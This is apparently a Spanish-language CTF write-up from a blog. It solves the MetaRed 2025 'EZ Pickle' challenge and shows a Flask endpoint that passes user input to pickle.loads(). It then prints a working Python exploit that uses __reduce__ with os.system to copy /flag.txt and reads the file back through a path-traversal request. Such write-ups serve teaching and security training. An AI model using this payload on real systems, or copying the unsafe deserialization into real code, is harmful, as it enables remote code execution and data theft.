~/blog/2025-11-30-writeup-metared-ez-pickle.md

[writeup]

Writeup MetaRed CTF 2025 — EZ Pickle

@alex.h · · 7 min de lectura

  • #web
  • #python
  • #deserialization
  • #metared

Descripción del reto

El challenge nos entregaba un Flask muy compacto que recibía un parámetro data por POST, lo decodificaba en base64 y lo pasaba directamente a pickle.loads(). La descripción decía: “Solo te dejé un input. ¿Qué tan malo puede ser?”. Bastante malo, como veremos.

1
2
3
4
5
6
# app.py (extracto)
@app.route("/api/profile", methods=["POST"])
def profile():
    raw = request.form.get("data")
    obj = pickle.loads(base64.b64decode(raw))
    return jsonify({"hello": obj.get("name")})

Análisis inicial

pickle.loads() con input controlado por el usuario es una vulnerabilidad de manual: cuando Python deserializa un objeto, puede invocar __reduce__, lo que abre la puerta a ejecución arbitraria.

Solución

Construimos un payload que ejecuta cat /flag.txt y nos devuelve el resultado en la respuesta. Por simplicidad, redirigimos la salida a /tmp/out y la leemos con un segundo request a otro endpoint vulnerable de path traversal:

1
2
3
4
5
6
7
8
9
import pickle, base64, os, requests

class P:
    def __reduce__(self):
        return (os.system, ('cp /flag.txt /tmp/leak && chmod 644 /tmp/leak',))

payload = base64.b64encode(pickle.dumps(P())).decode()
requests.post("https://chall.metared.io/api/profile", data={"data": payload})
print(requests.get("https://chall.metared.io/static/../../../tmp/leak").text)

Al ejecutar el script obtenemos la flag.

Flag

Conclusiones

Este fue un reto perfecto para iniciar al equipo júnior: combina un vector clásico (pickle insecure deserialization) con una segunda vulnerabilidad menor (path traversal en static/). En producción, nunca uses pickle con input no confiable. Alternativas seguras: json, msgpack o pydantic con validación estricta.

Recursos recomendados: OWASP Insecure Deserialization, Python pickle documentation — Warning.